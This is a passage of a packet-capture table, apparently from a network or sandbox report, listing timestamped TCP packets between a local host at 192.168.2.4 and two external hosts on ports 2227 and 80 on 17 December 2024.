Dec 17, 2024 22:06:15.311465025 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311527014 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311537981 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311568975 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311630964 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311719894 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311729908 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311800003 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311816931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311944962 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311954975 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312036037 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312046051 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312134981 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312144995 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312251091 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312261105 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312266111 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312378883 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312388897 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312485933 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312496901 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312544107 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312555075 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312591076 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312674999 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312717915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312728882 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312783957 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312793016 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312881947 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.312900066 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313028097 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313036919 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313049078 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313066006 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313172102 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313182116 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313198090 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313206911 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313246012 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313292027 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313405991 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.313422918 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.331654072 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.331716061 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.331779003 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.333746910 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.333798885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.333839893 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.333880901 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.337965965 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.338022947 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.339481115 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.339533091 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.339541912 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.339585066 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.343847036 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.343897104 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.343980074 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.344026089 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.347996950 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.348052979 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.348083973 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.348129034 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.352158070 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.352207899 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.352288008 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.352335930 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.356345892 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.356394053 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.356487036 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.356523037 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.360567093 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.360624075 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.360649109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.360749960 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.364725113 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.364773989 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.364828110 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.364876986 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.368907928 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.368952990 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.369019032 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.369977951 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.373114109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.373162985 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.373203039 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.373254061 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.377290010 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.377326965 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.377351999 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.377367020 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.381515980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.381648064 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.381649017 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.381690025 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.385689020 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.385747910 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.385766983 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.385808945 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.389909983 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.389923096 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.389961958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.389980078 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.394033909 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.394079924 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.394171000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.394233942 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.398228884 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.398289919 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.398328066 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.398376942 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.402453899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.402499914 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.402549982 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.406666040 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.406681061 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.406735897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.410831928 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.410887003 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.410922050 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.410958052 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.415036917 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.415087938 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.415091038 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.415128946 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.419354916 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.419414043 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.419430017 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.419579029 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.423491001 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.423543930 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.424801111 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.424835920 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425048113 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425095081 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425345898 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425410032 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425554991 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425565958 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425648928 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425760031 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425857067 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.425942898 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426053047 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426064014 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426104069 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426112890 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426140070 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426177979 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426327944 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426337957 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426491976 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426501989 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426853895 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426870108 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426889896 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426908016 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426981926 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.426992893 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427021980 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427033901 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427167892 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427179098 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427336931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427346945 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427386999 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427406073 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427515030 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427525997 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427620888 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427746058 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427755117 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427823067 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.427875996 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428137064 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428148985 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428158998 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428169966 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428229094 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428240061 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428354979 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428364992 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428478956 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428519011 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428612947 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428622961 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428736925 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428778887 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.428819895 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429090023 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429178953 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429263115 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429272890 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429280996 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429295063 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429481983 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429493904 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429606915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429650068 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429800034 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429857016 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.429992914 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430005074 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430172920 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430183887 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430351019 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430399895 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430496931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430515051 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430641890 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430706024 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430829048 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.430855989 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431057930 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431097984 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431183100 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431252003 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431261063 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431291103 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431404114 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431531906 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431740046 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431750059 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431845903 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431890011 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431941986 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.431952000 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432070971 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432116985 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432198048 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432241917 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432322025 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432369947 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432413101 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432501078 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432511091 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432522058 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432629108 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432673931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432740927 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432750940 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432832956 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.432950020 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433064938 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433218956 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433228970 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433239937 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433429956 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433448076 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433556080 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433650017 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433681011 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433743954 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433756113 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433785915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433865070 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.433914900 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434001923 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434019089 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434108019 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434118032 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434233904 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434245110 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434303045 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434331894 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434448957 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434458971 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434648991 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434659004 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434739113 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434799910 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434917927 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.434936047 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435050011 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435102940 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435148954 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435213089 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435250044 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435300112 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435369968 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435380936 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435419083 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435429096 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435547113 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435564995 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435664892 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435713053 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435806036 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.435861111 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436027050 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436090946 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436137915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436209917 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436268091 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436286926 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.436378002 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.478655100 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.523936987 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.523983002 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.524000883 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.524036884 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.525553942 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.525651932 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.525688887 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.525702000 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.528645039 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.528691053 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.528748035 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.528789043 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.531877995 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.531924009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.531951904 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.532032967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.534984112 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.535051107 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.535104990 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.538039923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.538091898 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.538130045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.538176060 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.541079044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.541127920 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.541148901 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.541208982 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.543958902 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.544020891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.544054031 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.544127941 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.546921015 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.546969891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.546993017 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.547035933 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.549794912 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.549840927 CET	49776	80	192.168.2.4	31.41.244.11
